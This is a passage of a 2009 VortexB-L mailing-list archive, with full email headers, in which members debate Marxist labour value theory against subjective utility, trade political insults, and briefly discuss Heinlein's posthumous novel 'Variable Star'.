--001636c5b84d03218e046aab11f3-- From vortexb-l-request@eskimo.com Sun May 24 09:40:20 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4OGeGIW006097; Sun, 24 May 2009 09:40:16 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4OGeCsq006065; Sun, 24 May 2009 09:40:12 -0700 Resent-Date: Sun, 24 May 2009 09:40:12 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=ZvuZX+/SvmqgAWA9+cteXI7tBrwg7FJB8iS2jDljQB4=; b=sBtwllErNotwdV0Gvod2dEdNdj9kUzw3q44fpjwWbOvxkB/H6y2BAXo393zhJVB9W5 /NPCjVro6pV/qsaGehkLiqqhHL1sgtQkELc5MEMfL6KYDoW4lVfiQo/zitEOhZQS87M9 vprIfkZ78czODL52zGWC+ByDLAd1Rd2bbfokI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=NK4Jv6HsDaTxrxc2jLhSS56OYQfq34Uh/lXg/rxyMJdxaiigZN6BPM2rfBI6mVPMCA aGVoRGn0BEIWQyo41PBtEBTTVMQa/CcJHW0eW9aDWHnt+vBmsWrh/2wF9+BfhW4lCk+s kX2UjVhAZRU4htw1HkQ7REuBFoTYlQl23/mBU= MIME-Version: 1.0 In-Reply-To: <20090524035152.GJ4017@shell.resist.ca> References: <4A1716CB.BA9B4CA@centurytel.net> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> <20090524035152.GJ4017@shell.resist.ca> From: Charles HOPE Date: Sun, 24 May 2009 12:39:50 -0400 Message-ID: <63ffa6020905240939s535def73w83ae5a4065344eaf@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a717a26b91046aab25dd Resent-Message-ID: <-x64Z.A.reB.shXGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4126 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 368 --001636c5a717a26b91046aab25dd Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Equivalences are subjective, they depend on the utility the good has for th= e buyer in question. A smoker has utility for a pack of cigarettes, and will barter more for it than a non-smoker. The pack of cigarettes doesn't have any innate value. On Sat, May 23, 2009 at 11:51 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > If that's the best you can do, when confronted by somebody who's not > > resorting to ad hominem attacks but is willing to discuss the issues in= a > > rational manner, I suppose I win. > > You're funny, Charles. You know that? > Hey -- that was me AGREEING with you on what you said, OK? > > So we know that 'utility' is _use-value_. And that's a marxist concept (n= ot > exclusively, of course). But Chuckie; this then begs the question: where = do > these > useful commodities COME from..? And how do we compare their > _exchange-values_, > equivalent for equivalent..? > > I'm sure you have an opinion on this. > > > - -- grok. > > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoYxFgACgkQXo3EtEYbt3G/ngCeNb3tXC/GeoSTP9tV3jSOStZ3 > W9YAn0eF+bXoMih/NQsqkVfEbgDvP++U > =3Dqskv > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a717a26b91046aab25dd Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Equivalences are subjective, they depend on the utility the good has for th= e buyer in question. A smoker has utility for a pack of cigarettes, and wil= l barter more for it than a non-smoker.=A0 The pack of cigarettes doesn'= ;t have any innate value.



On Sat, May 23, 2009 at 11:51 PM, gr= ok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> If that's the best you can do, when confro= nted by somebody who's not
> resorting to ad hominem attacks but is willing to discuss the issues i= n a
> rational manner, I suppose I win.

You're funny, Charles. You know that?
Hey -- that was me AGREEING with you on what you said, OK?

So we know that 'utility' is _use-value_. And that's a marxist = concept (not
exclusively, of course). But Chuckie; this then begs the question: where do= these
useful commodities COME from..? And how do we compare their _exchange-value= s_,
equivalent for equivalent..?

I'm sure you have an opinion on this.


- -- grok.









- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoYxFgACgkQXo3EtEYbt3G/ngCeNb3tXC/GeoSTP9tV3jSOStZ3
W9YAn0eF+bXoMih/NQsqkVfEbgDvP++U
=3Dqskv
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a717a26b91046aab25dd-- From vortexb-l-request@eskimo.com Sun May 24 12:06:50 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4OJ6mDE024533; Sun, 24 May 2009 12:06:48 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4OJ6cuD024487; Sun, 24 May 2009 12:06:38 -0700 Resent-Date: Sun, 24 May 2009 12:06:38 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=LLtt89ieNl1Lfw4wtpJknqchwsbbLsH0MZe0jAkzD2s=; b=j8zAYAJyP7km4DgfxzJQntmLzIUPrpMYlFh143vHZLYca7TJeFrFJO13U6JeRa+Pze NpgqfALimhgC1NVJhcUg/8tvOaVI8rPiDugsmPT7F+c6g7zwnCdRNZtYgRt29qQGnOiw /yoe5A8XzwbnDIYGfZ4bWha2GcoSX7JnFN9+8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=ogABq1CUSbwcPNaPbbFmOO+OevlD0T3cI+tk7h0/hNorlEFhOdvZhMKSfIy+WYIKJQ BuhLL55WlaYEIN2bpm3RrF2r5e/Ox7ykpc2da287nZ/jEkVpRqXDViYIe9ikhe0P764h qXZEh52xS1E+yW4tBF81PxOFlWNfPPkygC9SU= MIME-Version: 1.0 In-Reply-To: References: Date: Sun, 24 May 2009 12:06:37 -0700 Message-ID: Subject: Re: [VoB]:Heinlein's New Book From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4127 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 369 outline and first several chapters. They had Spider Robinson finish it (good choice) . I snagged it the moment it came out. You can definitely tell where robinson takes over, but its still a very Heinlein ending. I enjoyed it immensely. Read it! On Sun, May 24, 2009 at 8:21 AM, Terry Blanton wrote: > Grok, > > Are you a Heinlein fan? > > There's a posthumously published novel "Variable Star" from an outline of his. > > Terry > > From vortexb-l-request@eskimo.com Sun May 24 13:26:47 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OKQjrM030734; Sun, 24 May 2009 13:26:45 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OKQemr030699; Sun, 24 May 2009 13:26:40 -0700 Resent-Date: Sun, 24 May 2009 13:26:40 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 13:26:30 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Heinlein's New Book Message-ID: <20090524202630.GB30161@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Shafaq, Mount Etna, Sagger 1, Su-22U, Rossiya User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4128 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 370 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > Is this your newsletter? > > http://www.grokyourworld.com/louisxiv/2005/05/sovietism_is_no.html > > Terry Uh, NO. > On Sun, May 24, 2009 at 10:26 AM, Terry Blanton wrote: > > I learning a lot of useful stuff by googling you: > > > > http://www.brasschecktv.com/page/626.html > > > > I shall always carry strait pins from now on. > > > > Terry Have fun. You're still going to need a wheelbarrow when you go to the corner store. And isn't that "straight"? I haven't even seen that video yet. > > On Sun, May 24, 2009 at 10:21 AM, Terry Blanton wrote: > >> Grok, > >> > >> Are you a Heinlein fan? > >> > >> There's a posthumously published novel "Variable Star" from an outline of his. > >> > >> Terry I like his Sci-Fi. Don't like his proto-fascist libertarian views. It's a wonder what the Dead can do these daze. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZrXYACgkQXo3EtEYbt3HojACgxlp1qUnwwpmOy8qRUgWCbBqf Ws8AoOPNJpbMa1gOor0ZaPEldlHDW7tK =osha -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 14:18:47 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4OLIhZL008261; Sun, 24 May 2009 14:18:44 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4OLIcvQ008219; Sun, 24 May 2009 14:18:38 -0700 Resent-Date: Sun, 24 May 2009 14:18:38 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 14:18:33 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524211832.GC30161@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <2eoi1551f1pp24u6gi257he4sh4on0db03@4ax.com> <63ffa6020905240934lb2cc52va8ba1ccc9d5fc8e1@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905240934lb2cc52va8ba1ccc9d5fc8e1@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Shafaq, Mount Etna, Sagger 1, Su-22U, Rossiya User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4129 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 371 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey -- you're both hypocrites and both full of it, OK? Two phonies looking for mutual advantage by ganging up on a third party is all I see at work here. The U.S. is in fact the most terroristic organization on the face of the planet, and the true threat to all Humanity. Discuss that. Not me. - -- grok. As the smoke cleared, Charles HOPE mounted the barricade and roared out: > You're right, I'm not really being sold on the pleasures of Communism, if > this is any taste of the new leadership. > > > > On Sun, May 24, 2009 at 11:04 AM, John Fields > wrote: > > > On Sat, 23 May 2009 23:31:57 -0500 (CDT), you wrote: > > > > > > >So if you think that The Troll is discourteous now, just consider what > > >would happen if he had the secret police at his disposal. > > > > --- > > Indeed, since even sans power he's corrupt. > > > > JF Right... Remind me to never invest in whatever it is you're selling. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZuagACgkQXo3EtEYbt3HLvQCgmyRpVvyllQNGAl0EBCxmsbJB XJwAoKDXIeR5NxhQeivxxu5VmaLY2V/A =pUDw -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 14:28:52 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4OLSmVm011712; Sun, 24 May 2009 14:28:48 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4OLSmOp011696; Sun, 24 May 2009 14:28:48 -0700 Resent-Date: Sun, 24 May 2009 14:28:48 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: From: "Mike Carrell" To: References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <2eoi1551f1pp24u6gi257he4sh4on0db03@4ax.com> <63ffa6020905240934lb2cc52va8ba1ccc9d5fc8e1@mail.gmail.com> <20090524211832.GC30161@shell.resist.ca> Date: Sun, 24 May 2009 17:28:41 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5512 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4130 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe.. Status: RO X-Status: X-Keywords: X-UID: 372 ----- Original Message ----- From: "grok" To: <> Sent: Sunday, May 24, 2009 5:18 PM Subject: Re: [VoB]:Re: This is VortexB-L... > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > Hey -- you're both hypocrites and both full of it, OK? Two phonies looking > for mutual > advantage by ganging up on a third party is all I see at work here. The > U.S. is in > fact the most terroristic organization on the face of the planet, and the > true threat > to all Humanity. Discuss that. Not me. > > > - -- grok. > > > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > >> You're right, I'm not really being sold on the pleasures of Communism, if >> this is any taste of the new leadership. >> >> >> >> On Sun, May 24, 2009 at 11:04 AM, John Fields >> > > wrote: >> >> > On Sat, 23 May 2009 23:31:57 -0500 (CDT), you wrote: >> > >> > >> > >So if you think that The Troll is discourteous now, just consider what >> > >would happen if he had the secret police at his disposal. >> > >> > --- >> > Indeed, since even sans power he's corrupt. >> > >> > JF > > Right... Remind me to never invest in whatever it is you're selling. > > - -- grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoZuagACgkQXo3EtEYbt3HLvQCgmyRpVvyllQNGAl0EBCxmsbJB > XJwAoKDXIeR5NxhQeivxxu5VmaLY2V/A > =pUDw > -----END PGP SIGNATURE----- > > > ________________________________________________________________________ > This Email has been scanned for all viruses by Medford Leas I.T. > Department. From vortexb-l-request@eskimo.com Sun May 24 14:34:09 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4OLY6DP013022; Sun, 24 May 2009 14:34:06 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4OLY6u2013011; Sun, 24 May 2009 14:34:06 -0700 Resent-Date: Sun, 24 May 2009 14:34:06 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> Subject: RE: [VoB]:China vs. US Date: Sun, 24 May 2009 17:34:04 -0400 Message-ID: <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnbJJ+dIf6e83nnSFSS2eC0NGoflQBkiGrg In-Reply-To: <4A1716CB.BA9B4CA@centurytel.net> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4131 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 373 Karl Marx proposed that the value of a manufactured item is related to the work required to produce it (the labor theory of value. Jack Smith A beautiful sand sculpture on the beach may require a great deal of work and talent, but it has no dollar value. The value of an item may be related to the work involved, but true value is determined by the demand for it. Jeff From vortexb-l-request@eskimo.com Sun May 24 14:35:15 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4OLZDJJ013265; Sun, 24 May 2009 14:35:13 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4OLZ9Cs013243; Sun, 24 May 2009 14:35:09 -0700 Resent-Date: Sun, 24 May 2009 14:35:09 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 14:35:02 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524213501.GD30161@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Shafaq, Mount Etna, Sagger 1, Su-22U, Rossiya User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4132 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 374 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > On Sat, 23 May 2009 22:58:38 -0700, you wrote: > > >Have I told you lately how much I loathe religion and the fools who attempt to > >spread it..? > > --- > What you're talking about, surely, is religions which you feel interfere > with that which you proselytize, Marxism. People have a right to their delusions -- and I also have the right not to have to swallow such crox of shit. However, such people have no right to impose their delusions on others, either -- as i.e. the U.S. Religious Right constantly attempts to do: more recently by their attempts to control the police and military apparatus of State, as well as the other arms of your decadent political system. And so of course you're going to bring up stalinism again -- as if the past fact of that proves anything about marxism per se. However slavery, for instance OTOH, very much DOES have everything to do with capitalism (i.e. the 'primitive accumulation' thereof). This is not some mirror-image, tit-for-tat situation here: the side you defend is VERY much more the "Evil". Not mine, conversely. > And, surely, _loathe_ is a bit strong for one who pretends to > objectivity. Not at all. I've already brought up POVs here. Any objective view of History will demonstrate the wholly pernicious and ugly reality behind the pious phrasings of religious hypocrisy in the service of naked class Power. And so one POV is VERY much to be preferred -- *objectively* -- over another. Assuming we all want good for all people... We DO, don't we..?? But of course: I'm flogging a dead horse here -- i.e. wasting my time with youse. Still -- it's a bit of an intellectual exercise with the terminally-delusional U.S. petit-bourgeoisie. I don't get that every day. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZvYUACgkQXo3EtEYbt3HcfACeLSbRvMLYV3Nez9VAtqH4cfwE STgAoMxesNFI8b5l3l8Lo5d2AOceNFFg =IHtI -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 14:43:25 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OLhNC1020070; Sun, 24 May 2009 14:43:23 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OLhHfC020035; Sun, 24 May 2009 14:43:17 -0700 Resent-Date: Sun, 24 May 2009 14:43:17 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 14:43:04 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090524214304.GE30161@shell.resist.ca> Reply-To: grok@resist.ca References: <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> <20090524035152.GJ4017@shell.resist.ca> <63ffa6020905240939s535def73w83ae5a4065344eaf@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905240939s535def73w83ae5a4065344eaf@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Shafaq, Mount Etna, Sagger 1, Su-22U, Rossiya User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4133 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 375 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Equivalences are subjective, they depend on the utility the good has for the > buyer in question. A smoker has utility for a pack of cigarettes, and will > barter more for it than a non-smoker. The pack of cigarettes doesn't have > any innate value. On the contrary: this stuff doesn't grow low-hanging, on trees, ripe for the picking, for free. Someone has to organize their production and distribution, etc. And get paid for it. And so how would one do the math there, huh..? Utile things must be produced. By labor. But _socially necessary_ labor, of course -- quite often the moving target, indeed. Marxism is nothing if not about the non-linear nature of dynamik social and natural systems in the present day. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoZv2gACgkQXo3EtEYbt3FraQCfRSpOqWXrHDfO/QXN0Wtvp67U IaoAoLfLRjf76a76aa/EJ1CaWmgDSsHK =czHu -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 14:53:50 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OLrmhb029576; Sun, 24 May 2009 14:53:48 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OLrla5029565; Sun, 24 May 2009 14:53:47 -0700 Resent-Date: Sun, 24 May 2009 14:53:47 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 14:53:41 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090524215341.GF30161@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Shafaq, Mount Etna, Sagger 1, Su-22U, Rossiya User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4134 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 376 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > > > Karl Marx proposed that the value of a manufactured > item is related to the work required to produce it > (the labor theory of value. > > Jack Smith > > A beautiful sand sculpture on the beach may require a great deal of work and > talent, but it has no dollar value. > > The value of an item may be related to the work involved, but true value is > determined by the demand for it. > > Jeff People get confused by not understanding the (ultimately infinite -- i.e. open system) levels of recursion going on here. When we get to the buying and selling of worx of art, and kultur, and services, unique talents, unique and passing opportunities, etc., etc., we're merely burlesquing -- some few or many times removed - -- the more fundamental ekonomik activities which produce the actual material goods which we fundamentally all rely on every day for our sustenance and survival. But it's all still the same dynamik at work, at root, eh? Same old capitalist logic as definitively and 